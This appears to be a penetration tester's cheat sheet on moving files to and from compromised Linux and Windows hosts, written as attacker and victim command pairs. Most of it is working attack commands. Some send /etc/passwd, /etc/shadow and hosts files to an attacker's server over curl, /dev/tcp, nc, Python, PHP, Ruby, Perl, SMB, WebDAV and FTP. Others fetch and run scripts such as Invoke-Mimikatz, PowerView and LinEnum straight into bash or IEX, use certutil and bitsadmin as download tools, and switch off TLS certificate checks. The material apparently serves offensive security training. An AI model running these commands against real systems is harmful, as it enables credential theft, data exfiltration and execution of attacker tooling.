Linux
Download Operations
Base64 Encoding / Decoding
Attacker
cat file.txt | base64 -w0; echo
Victim
echo -n '<BASE64_CODE>' | base64 -d > file.txt
nc and /dev/tcp
Victim
nc -nlvp 443 > file.txt
Attacker
# If bash is available
cat file.txt > /dev/tcp/10.10.x.x/443
# If using zsh or another shell
bash -c 'cat file.txt > /dev/tcp/10.10.x.x/443'
Netcat / nc
Victim
nc -nlvp 443 > file.txt
Attacker
nc -w 3 10.10.x.x 443 < file.txt
wget
Attacker
python3 -m http.server 80
Victim
# Download a file by specifying HTTP.
# Use -O to specify the output path.
# If omitted, the file is saved in the current directory.
wget http://10.10.x.x/file.txt
wget http://10.10.x.x/file.txt -O /tmp/file.txt
# Download a file directly from the IP.
wget 10.10.x.x/file.txt
wget 10.10.x.x/file.txt -O /tmp/file.txt
curl
Attacker
python3 -m http.server 80
Victim
# Download a file by specifying HTTP.
# Use -o to specify the output path.
# If omitted, the file is saved in the current directory.
curl http://10.10.x.x/file.txt
curl http://10.10.x.x/file.txt -o /tmp/file.txt
# Download a file directly from the IP.
curl 10.10.x.x/file.txt
curl 10.10.x.x/file.txt -o /tmp/file.txt
Fileless Download with curl
Victim
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
Fileless Download with wget
Victim
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
# Hello World!
Download with Bash (/dev/tcp)
There may be situations where none of the common file transfer tools are available. If Bash 2.04 or later is installed and compiled with --enable-net-redirections, you can use the built-in /dev/tcp feature to perform simple file downloads.
Connect to the target web server
Attacker
python3 -m http.server 80
Victim
exec 3<>/dev/tcp/10.10.10.32/80
Send an HTTP GET request
Victim
echo -e "GET /LinEnum.sh HTTP/1.1\r\nHost: 10.10.10.32\r\nConnection: close\r\n\r\n" >&3
Print the response
Victim
cat <&3
SSH Downloads
SSH (Secure Shell) is a protocol that allows secure access to remote systems. The SSH suite includes scp, which uses SSH for secure file transfers.
scp (secure copy) is a command-line utility that lets you securely copy files and directories between two hosts. You can copy files from your local machine to a remote host, or from a remote host to your local machine.
scp is similar to cp, but instead of a local path, you specify a username, remote IP address or hostname, and authentication method.
Enable and start the SSH server
Attacker
sudo systemctl enable ssh
sudo systemctl start ssh
Check whether SSH is listening
Attacker
netstat -lnpt
Example output:
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Now files can be transferred.
Linux - Download files using scp
Victim
# Copy /etc/passwd from the attacker machine to the current directory on the victim
scp user@10.10.x.x:/etc/passwd .
# Copy /etc/passwd from the attacker machine to /tmp on the victim as "passwd"
scp user@10.10.x.x:/etc/passwd /tmp/passwd
Note
You can create a temporary user account for file transfers to avoid using your primary credentials or SSH keys on a remote system.
Download Operations Using Python
Python is a common scripting language. Python 3 is the current standard, but some systems may still have Python 2.7 installed. Python can execute one-liners from the command line using the -c option.
Python 2
python2.7 -c 'import urllib; urllib.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
Python 3
python3 -c 'import urllib.request; urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
Download Operations Using PHP
In the following example, file_get_contents() is used to download content from a URL, and file_put_contents() is used to save it locally. PHP can execute one-liners from the command line using the -r option.
PHP download with file_get_contents()
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh", $file);'
An alternative to file_get_contents() and file_put_contents() is fopen(), which can be used to open a URL, read its contents, and write them to a local file.
PHP download with fopen()
php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
You can also pipe downloaded content directly into another command, similar to the fileless curl and wget examples.
PHP download and pipe to Bash
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line) { echo $line; }' | bash
Note
The URL can be used as a filename with the @file() function if URL-aware fopen wrappers are enabled.
Download Operations Using Ruby
Ruby - Download a file
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
Download Operations Using Perl
Perl - Download a file
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
Upload Operations
nc and /dev/tcp
Attacker
nc -nlvp 443 > file.txt
Victim
# If bash is available
cat file.txt > /dev/tcp/10.10.x.x/443
# If using zsh or another shell
bash -c 'cat file.txt > /dev/tcp/10.10.x.x/443'
Base64 Encoding / Decoding
Victim
cat file.txt | base64 -w0; echo
Attacker
echo -n '<BASE64_CODE>' | base64 -d > file.txt
Web Upload
As mentioned in the file transfer section for Windows, uploadserver can be used as an extended Python HTTP server module that includes a file upload page. In this Linux example, it is configured to use HTTPS so the upload is protected in transit.
The first step is to install the uploadserver module.
Install and start the web upload server
Attacker
sudo python3 -m pip install --user uploadserver
Next, create a certificate. In this example, a self-signed certificate is used.
Create a self-signed certificate
Attacker
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
Start the HTTPS upload server
Attacker
mkdir https && cd https
python3 -m uploadserver 443 --server-certificate ../server.pem
Linux - Upload multiple files
Victim
curl -X POST https://10.10.x.x/upload \
-F 'files=@/etc/passwd' \
-F 'files=@/etc/shadow' \
--insecure
Note
The --insecure option is used because the server is using a self-signed certificate that is trusted manually.
Web Upload Without a Certificate
Attacker
python3 -m uploadserver
Example output:
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Victim
curl -X POST http://10.10.16.11:8000/upload -F 'files=@/etc/passwd'
curl -X POST http://10.10.16.11:8000/upload \
-F 'files=@/etc/passwd' \
-F 'files=@/etc/shadow'
Alternative Web File Transfer Method
Because Linux systems commonly have Python or PHP installed, it is often easy to start a lightweight web server for file transfers. If the compromised host is already running a web server, files can also be placed in the web root and retrieved through the site.
A Linux host may not always have a full web server installed. In those cases, a minimal built-in web server can be used instead. These are not designed for hardened production use, but they are flexible and quick to set up, and the web root and listening port can usually be changed easily.
Linux - Create a Web Server with Python 3
Victim
python3 -m http.server
Linux - Create a Web Server with Python 2.7
Victim
python2.7 -m SimpleHTTPServer
Linux - Create a Web Server with PHP
Victim
php -S 0.0.0.0:8000
Linux - Create a Web Server with Ruby
Victim
ruby -run -e httpd . -p 8000
Download the File from the Target Machine
Attacker
wget 10.10.x.x:8000/filetotransfer.txt
curl 10.10.x.x:8000/filetotransfer.txt -o filetotransfer.txt
Note
When starting a temporary web server with Python, PHP, or Ruby, keep in mind that inbound traffic to the target may be blocked by host-based or network firewalls. In this case, the file is being served from the target and downloaded by the attacker.
SCP Upload
Some environments allow outbound SSH connections over TCP/22. If so, an SSH server and scp can be used to upload files to the target system.
Upload a file using scp
scp /etc/passwd user@10.10.x.x:/home/gnar/
Note
The syntax for scp is similar to cp, except that the destination or source can include a remote username and host.
Upload Operations Using Python 3
If you want to upload a file with Python 3, you can use the requests module to send HTTP requests such as GET, POST, and PUT. The examples below use a Python upload server started with uploadserver.
Start the Python upload server
Attacker
python3 -m uploadserver
Example output:
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Upload a file using a Python one-liner
Victim
python3 -c 'import requests; requests.post("http://192.168.49.128:8000/upload", files={"files": open("/etc/passwd", "rb")})'
Upload a file using a Python script
Victim — upload.py
import requests
# Define the target URL where the file will be uploaded.
URL = "http://192.168.187.128:8000/upload"
# Open the file to upload in binary mode.
file = open("/etc/passwd", "rb")
# Send the file using an HTTP POST request.
response = requests.post(URL, files={"files": file})
print(response.text)
Run
python3 upload.py
Upload Operations Using PHP
Start the Python upload server
Attacker
python3 -m uploadserver
Example output:
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Upload a file using a PHP one-liner
Victim
php -r '$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://192.168.187.128:8000/upload"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, ["files" => new CURLFile("/etc/passwd")]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo $response;'
Upload a file using a PHP script
Victim — upload.php
<?php
$target_url = "http://192.168.187.128:8000/upload";
$file_path = "/etc/passwd";
// Initialize cURL
$ch = curl_init();
// Configure the POST request with the file
$cfile = new CURLFile($file_path);
$post_data = ["files" => $cfile];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute the request
$response = curl_exec($ch);
// Close cURL
curl_close($ch);
// Print the server response
echo $response;
?>
Run
php upload.php
Upload Operations Using Ruby
Start the Python upload server
Attacker
python3 -m uploadserver
Example output:
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Upload a file using a Ruby one-liner
Victim
# You may need to install this gem on the victim first, as it is not always installed by default.
gem install multipart-post
ruby -e "require 'net/http'; require 'uri'; require 'multipart/post'; url = URI.parse('http://192.168.187.128:8000/upload'); file = File.open('/etc/passwd', 'rb'); request = Net::HTTP::Post.new(url.path); request.set_form([['files', file]], 'multipart/form-data'); response = Net::HTTP.start(url.host, url.port) { |http| http.request(request) }; puts response.body"
Upload a file using a Ruby script
Victim — upload.rb
require 'net/http'
require 'uri'
require 'multipart/post'
url = URI.parse("http://192.168.187.128:8000/upload")
file = File.open("/etc/passwd", "rb")
request = Net::HTTP::Post.new(url.path)
request.set_form([['files', file]], 'multipart/form-data')
response = Net::HTTP.start(url.host, url.port) { |http| http.request(request) }
puts response.body
Run
ruby upload.rb
Upload Operations Using Perl
Start the Python upload server
Attacker
python3 -m uploadserver
Example output:
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Upload a file using a Perl one-liner
Victim
perl -e 'use LWP::UserAgent; use HTTP::Request::Common qw(POST); use HTTP::Request; my $url = "http://192.168.187.128:8000/upload"; my $file_path = "/etc/passwd"; my $ua = LWP::UserAgent->new; my $response = $ua->request(POST $url, Content_Type => "multipart/form-data", Content => [ "files" => [ $file_path ] ]); print $response->decoded_content;'
Upload a file using a Perl script
Victim — upload.pl
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use HTTP::Request;
use File::Basename;
my $url = 'http://192.168.187.128:8000/upload';
my $file_path = '/etc/passwd';
# Create an LWP::UserAgent object
my $ua = LWP::UserAgent->new;
# Create a POST request with the file
my $response = $ua->request(
POST $url,
Content_Type => 'multipart/form-data',
Content => [
'files' => [ $file_path ]
]
);
# Print the server response
print $response->decoded_content;
Run
perl upload.pl
GTFOBins
Living off the Land binaries can be used to perform functions such as:
- Download
- Upload
- Command Execution
- File Read
- File Write
- Bypasses
To search for the download and upload function in GTFOBins for Linux binaries, we can use +file download or +file upload.
Windows
Download Operations
SMB Server
One practical note: for uploads, the shared directory on the attacker side needs to be writable by the process running
smbserver.py.
Easy ways to address it: Use a writable temp directory
mkdir -p /tmp/share
ls -ld /tmp/share
smbserver.py share /tmp/share
ATTACKER
# From Kali Linux, start an SMB server and share files between machines
impacket-smbserver smbFolder $(pwd) -smb2support
VICTIM
REM From Windows, download files from Kali Linux to the Windows host
copy \\<ATTACKER_IP>\smbFolder\file.txt C:\path\destination\file.txt
Newer versions of Windows may block unauthenticated guest access, for example:
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
In that case, configure a username and password on the Impacket SMB server and map the share on Windows before copying the file.
ATTACKER
# Start an SMB server with authentication
impacket-smbserver smbFolder $(pwd) -username gnar -password gnar123 -smb2support
VICTIM
REM Map the SMB share and transfer the file to Windows
net use x: \\<ATTACKER_IP>\smbFolder /user:gnar gnar123
copy x:\file.txt C:\path\destination\file.txt
certutil.exe
ATTACKER
python3 -m http.server 80
VICTIM
certutil.exe -f -urlcache -split http://<ATTACKER_IP>/file.txt C:\path\destination\file.txt
PowerShell Download Operations
There are several ways to transfer a file to a Windows target through PowerShell.
PowerShell File Download
DownloadFile downloads data from a resource to a local file.
DownloadFileAsync downloads data from a resource to a local file without blocking the calling thread.
DownloadFile
(New-Object Net.WebClient).DownloadFile('<Target File URL>', '<Output File Name>')
Example:
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerView.ps1')
DownloadFileAsync
(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>', '<Output File Name>')
Example:
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')
PowerShell Invoke-WebRequest
ATTACKER
python3 -m http.server 80
VICTIM
IWR -Uri http://<ATTACKER_IP>/file.txt -OutFile C:\path\destination\file.txt
Invoke-WebRequest -Uri http://<ATTACKER_IP>/file.txt -OutFile C:\path\destination\file.txt
PowerShell DownloadString - Fileless Method
Execute the script directly in memory with IEX.
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
PowerShell Base64 Transfer
ATTACKER
cat file.txt | base64 -w 0; echo
VICTIM
[IO.File]::WriteAllBytes("C:\Users\Public\file.txt", [Convert]::FromBase64String("<BASE64_CODE>"))
powershell -c "[IO.File]::WriteAllBytes('C:\Users\Public\file.txt', [Convert]::FromBase64String('<BASE64_CODE>'))"
Common Errors with PowerShell
Internet Explorer 11 Initial Setup Not Completed
There may be cases where the initial Internet Explorer configuration has not been completed, which can prevent Invoke-WebRequest from working properly.
This can be avoided by using the -UseBasicParsing parameter.
PS C:\htb> IWR -Uri http://<ATTACKER_IP>/PowerView.ps1 | IEX
Error:
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
Use:
PS C:\htb> IWR -Uri http://<ATTACKER_IP>/PowerView.ps1 -UseBasicParsing | IEX
Secure Channel SSL/TLS Is Not Trusted
Another common PowerShell download error is related to SSL/TLS when the certificate is not trusted.
PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Error:
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
Bypass:
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Bitsadmin Download Function
The Background Intelligent Transfer Service (BITS) can download files from HTTP sites or SMB shares. It has the advantage of transferring files in a way that minimizes impact on network and system load.
VICTIM
bitsadmin /transfer wcb /priority foreground http://10.10.x.x:8000/nc.exe C:\Users\gnar\Desktop\nc.exe
PowerShell + BITS
VICTIM
Import-Module bitstransfer
Start-BitsTransfer -Source "http://10.10.x.x:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
curl
ATTACKER
python3 -m http.server 80
VICTIM
curl http://<ATTACKER_IP>/file.txt -o C:\path\destination\file.txt
curl <ATTACKER_IP>/file.txt -o C:\path\destination\file.txt
wget
ATTACKER
python3 -m http.server 80
VICTIM
wget http://<ATTACKER_IP>/file.txt
wget http://<ATTACKER_IP>/file.txt -O C:\path\destination\file.txt
wget <ATTACKER_IP>/file.txt
wget <ATTACKER_IP>/file.txt -O C:\path\destination\file.txt
Note:
If you do not specify an output file, the file will be downloaded to the current directory.
FTP Downloads
Another way to transfer files is through FTP (File Transfer Protocol), which commonly uses TCP/21 and TCP/20. Files can be downloaded with the Windows FTP client or with PowerShell Net.WebClient.
You can configure an FTP server on the attacker host using the Python pyftpdlib module.
by default, it serves the directory you launch it from.
ATTACKER
sudo pip3 install pyftpdlib --break-system-packages
sudo python3 -m pyftpdlib --port 21
Anonymous authentication is enabled by default if no username or password is configured.
Once the FTP server is running, files can be downloaded using PowerShell:
VICTIM
(New-Object Net.WebClient).DownloadFile('ftp://<ATTACKER_IP>/file.txt', 'C:\Users\Public\ftp-file.txt')
Create an FTP command file and download the target file
VICTIM
echo open 192.168.134.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
Example output:
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
Verify the downloaded file:
Get-Content .\file.txt
JavaScript
JavaScript can also be used on Windows to download files. Create a file called wget.js with the following content:
wget.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), false);
WinHttpReq.Send();
var BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
Run it from Command Prompt or PowerShell:
VICTIM
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
VBScript
VBScript can also be used to download files on Windows. Create a file called wget.vbs with the following content:
wget.vbs
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
Run it from Command Prompt or PowerShell:
VICTIM
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
Upload Operations
PowerShell Upload Operations
There are several ways to transfer a file from a Windows target to the attacker machine using PowerShell.
PowerShell Base64
VICTIM
# Convert the binary file 'file.bin' to Base64
powershell -c "[Convert]::ToBase64String((Get-Content C:\Temp\file.bin -Encoding Byte))"
[Convert]::ToBase64String((Get-Content C:\Temp\file.bin -Encoding Byte))
ATTACKER
# Decode the Base64 content to recover the original file
echo '<BASE64_CODE>' | base64 -d > file.bin
PowerShell Web Uploads
PowerShell does not include a built-in file upload feature, but Invoke-WebRequest or Invoke-RestMethod can be used to build one. You also need a web server that accepts file uploads, since this is not enabled by default on most common web servers.
For the web server, you can use uploadserver, an extended Python http.server module that includes a file upload page.
ATTACKER
sudo pipx install uploadserver
python3 -m uploadserver
Now you can use a PowerShell script such as PSUpload.ps1, which uses Invoke-RestMethod to perform file upload operations.
The script accepts two parameters:
-Fileto specify the file path-Urito specify the upload server URL
Example: upload the hosts file from a Windows system.
VICTIM
Option 1
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
What happens here:
DownloadString(...)grabs the raw.ps1file as textIEX(Invoke-Expression) executes that text in your current session- that execution defines the function
- then
Invoke-FileUploadbecomes callable
Without the first line, PowerShell has no idea what Invoke-FileUpload is.
Example output:
[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373
*Option 2: Save the script locally, then load it
If you already have PSUpload.ps1 on disk, you must dot-source it or run it in a way that loads the function into the current session:
. .\PSUpload.ps1
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
PowerShell Base64 Web Upload
Another option is to Base64-encode the file in PowerShell and send it in an HTTP POST request. A Netcat listener on the attacker machine can capture the request body, which can then be decoded back into the original file.
VICTIM
$b64 = [System.Convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://192.168.134.128:8000/ -Method POST -Body $b64
ATTACKER
nc -nlvp 8000
Example captured request:
listening on [any] 8000 ...
connect to [192.168.134.128] from (UNKNOWN) [192.168.134.1] 52051
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) WindowsPowerShell/5.1.26100.2161
Content-Type: application/x-www-form-urlencoded
Host: 192.168.134.128:8000
Content-Length: 1100
Connection: Keep-Alive
IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1N0cw==
Then decode the Base64 data:
ATTACKER
echo '<BASE64_CODE>' | base64 -d > hosts
SMB Uploads
SMB Server
One practical note: for uploads, the shared directory on the attacker side needs to be writable by the process running
smbserver.py.
Easy ways to address it: Use a writable temp directory
mkdir -p /tmp/share
ls -ld /tmp/share
smbserver.py share /tmp/share
ATTACKER
# From Kali Linux, start an SMB server to share files between machines
impacket-smbserver smbFolder $(pwd) -smb2support
VICTIM
REM From Windows, upload a file to the SMB share on Kali Linux
copy C:\path\file.txt \\<ATTACKER_IP>\smbFolder\file.txt
Newer versions of Windows may block unauthenticated guest access, for example:
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
In that case, configure a username and password on the Impacket SMB server and map the share on Windows before copying the file.
ATTACKER
# Start an SMB server with authentication
impacket-smbserver smbFolder $(pwd) -username gnar -password gnar123 -smb2support
VICTIM
REM Map the SMB share and upload the file directly to Kali Linux
net use x: \\<ATTACKER_IP>\smbFolder /user:gnar gnar123
copy C:\path\file.txt x:\file.txt
WebDAV
Many environments allow outbound HTTP (TCP/80) and HTTPS (TCP/443) traffic, but block outbound SMB (TCP/445). One alternative is to use WebDAV, which provides file sharing over HTTP or HTTPS.
WebDAV is an extension of HTTP that allows a web server to function as a file server.
When Windows tries to access a UNC path, it may first attempt SMB, and if no SMB share is available, it may then fall back to WebDAV over HTTP.
1. Install the WebDAV Python modules
ATTACKER
sudo pip3 install wsgidav cheroot --break-system-packages
2. Start the WebDAV server
ATTACKER
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
3. Connect to the WebDAV share
VICTIM — CMD
dir \\192.168.134.128\DavWWWRoot
Example output:
Volume in drive \\192.168.134.128\DavWWWRoot has no label.
Volume Serial Number is 0000-0000
Directory of \\192.168.134.128\DavWWWRoot
06/03/2025 02:44 <DIR> .
06/03/2025 02:44 <DIR> ..
06/03/2025 02:18 <DIR> tmp.h4ikej9g1U
Another method from PowerShell:
VICTIM — PowerShell
net use * http://192.168.134.128/ /user:anonymous ""
Then verify the mapped drive:
dir Z:
Example output:
Directory: Z:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 06/03/2025 2:18 tmp.h4ikej9g1U
d----- 06/03/2025 0:32 tmp.CfttO9JChM
4. Upload files using WebDAV
VICTIM — CMD
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.134.129\DavWWWRoot\
VICTIM — PowerShell
copy file.txt Z:\
FTP Uploads
Uploading files over FTP is similar to downloading files. You can use either PowerShell or the FTP client.
Before starting the FTP server with the Python pyftpdlib module, use the --write option to allow clients to upload files.
ATTACKER
sudo python3 -m pyftpdlib --port 21 --write
PowerShell upload file
VICTIM
(New-Object Net.WebClient).UploadFile('ftp://192.168.134.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
Create a command file for the FTP client to upload a file
VICTIM
echo "open 192.168.134.128" > ftpcommand.txt
echo "USER anonymous" >> ftpcommand.txt
echo "binary" >> ftpcommand.txt
echo "PUT C:\Windows\System32\drivers\etc\hosts" >> ftpcommand.txt
echo "bye" >> ftpcommand.txt
Run it:
ftp -v -n -s:ftpcommand.txt
Example output:
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT C:\Windows\System32\drivers\etc\hosts
ftp> bye
LOLBAS
Living off the Land binaries can be used to perform functions such as:
- Download
- Upload
- Command Execution
- File Read
- File Write
- Bypasses
To search for functions of Download and Upload in LOLBAS we can use /download or /upload.
RDP
xfreerdp /u:<user> /d:<domain /v:<IP>
ex:
xfreerdp /u:yoshi /d:medtech.com /v:172.16.232.82
xfreerdp /u:yoshi /d:medtech.com /v:172.16.232.80 +clipboard /drive:loot,/home/gnar/loot
| Option | Purpose |
|---|---|
/u:user |
Username for the remote system |
/p:pass |
Password |
/v:target_ip |
IP or hostname of the RDP target |
+clipboard |
Enables clipboard sync (copy/paste text/files) |
/drive:shared,/full/local/path |
Maps a local folder into the remote session as a drive (for file transfers) |
Transfer Tools to Target Windows Host
# Zip it on your attack machine:
zip -r tools.zip ./Windows/
# In evil-winrm:
upload /home/gnar/Toon/172.16.x.x/tools.zip
# Unzip on target:
# Powershell
Expand-Archive -Path "C:\Users\j.doe\Documents\tools.zip" -DestinationPath "C:\Users\j.doe\Documents\tools" -Force